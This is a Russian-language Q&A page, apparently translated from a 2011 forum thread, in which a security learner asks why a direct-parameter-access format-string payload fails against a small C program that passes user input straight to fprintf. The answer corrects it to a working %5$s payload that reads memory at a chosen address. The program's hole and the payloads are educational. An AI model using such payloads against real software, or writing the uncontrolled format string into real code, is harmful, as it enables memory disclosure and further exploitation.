Прямой доступ к параметрам не работает, используя printf в C - PullRequest
2 голосов
/ 18 августа 2011

Я занимаюсь исследованием компьютерной безопасности и пытаюсь узнать об уязвимостях строкового формата. Я запускаю программу, которая содержит этот код:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

Когда я передаю программе аргумент «% 08x.% 08x.% 08x.% 08x.% 08x» (который читается в переменную «data»), я получаю вывод: 00000020.b7fd7560.08048b09.00000019.78383025

Я понимаю, что каждое шестнадцатеричное число выталкивается из стека, а "78383025" происходит из самого буфера. Таким образом, есть 4 слова - 16 байтов - которые мне нужно выдвинуть прежде, чем я доберусь до начала моего буфера.

Когда я даю аргумент `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`, часть% s печатает строку, расположенную по адресу памяти 0xbffff92a.

Теперь я хотел бы сделать это, используя прямой доступ к параметрам. Если я передаю программе аргумент `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`, я должен ожидать, что программа будет делать то же самое, что и выше. Но все, что печатает программа - это четыре символа в начале буфера. Итак, что дает ??? Я использую неправильный синтаксис для DPA ??? Я использую Ubuntu 9.04, кстати, 32-битную версию.

Вот некоторый скомпилированный код, который не гарантирует того же результата:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}

1 Ответ

4 голосов
/ 19 августа 2011

%16$s ссылается на 16-й аргумент после строки форматирования и указывает printf интерпретировать его как char* и отображать его как строку.

Вы, похоже, используете егокак средство пропуска 16 байтов перед получением строки, что не совсем одно и то же.

Поскольку вам нужен 5-й аргумент, попробуйте что-то более похожее на эту строку формата:

"\x2a\xf9\xff\xbf%5$s"

Поскольку вы используете perl -e 'print "...";' для передачи данных, вам придется экранировать символ $.То есть.:

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...